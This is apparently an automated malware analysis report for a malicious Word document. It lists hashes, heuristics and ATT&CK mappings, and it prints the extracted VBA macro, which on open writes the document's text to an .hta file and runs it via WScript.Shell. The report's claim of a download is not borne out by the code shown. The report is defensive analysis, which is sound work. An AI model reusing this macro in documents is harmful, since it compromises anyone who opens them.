Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 aa0b3a3ab68736ea…

MALICIOUS

Office (OOXML)

46.1 KB Created: 2021-06-10 10:30:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 1e9baacb61b5c23f69534f4ae98bfcf8 SHA-1: 24bdd3ca06f1456fcf91edda06e37a9c6747df48 SHA-256: aa0b3a3ab68736ea94d12b0c9a48c7166cc5f73e26fef8d52c41096a5a565794
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with an AutoOpen subroutine that utilizes Wscript.Shell to execute a program. The script constructs a path to 'c:\programdata\ctrlProcedureListbox.hta' and also attempts to run 'c:\windows\explorer '. This indicates the macro is designed to download and execute a second-stage payload, likely to further compromise the system.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function captSet()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run arrayTableGen("c:\\windows\\explorer "), , True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function captSet()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run arrayTableGen("c:\\windows\\explorer "), , True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "globCaptCollection"
Sub autoopen()
memoryDoc
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 981 bytes
SHA-256: ec16e6230300da07d4d76742811712108397c59c6dd7d45cb4ebda1611fb2f8e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "globCaptCollection"
Sub autoopen()
memoryDoc
rightCur = captSet
End Sub
Function arrayTableGen(optionGenTrust, Optional optionGeneric = "c:\program", Optional cResponseGeneric = "a")
arrayTableGen = optionGenTrust & optionGeneric & "data\ctrlProcedureListbox.ht" & cResponseGeneric
End Function

Attribute VB_Name = "databaseProcInt"
Sub memoryDoc()
Open arrayTableGen("") For Output As #1
Print #1, remValueSingle
Close #1
End Sub
Function remValueSingle()
remValueSingle = ActiveDocument.Range.Text
End Function
Function captSet()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run arrayTableGen("c:\\windows\\explorer "), , True
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: e82f1648bd1305f85b70fab43edc1434f19ee696e26a670017630e2a09b2416c

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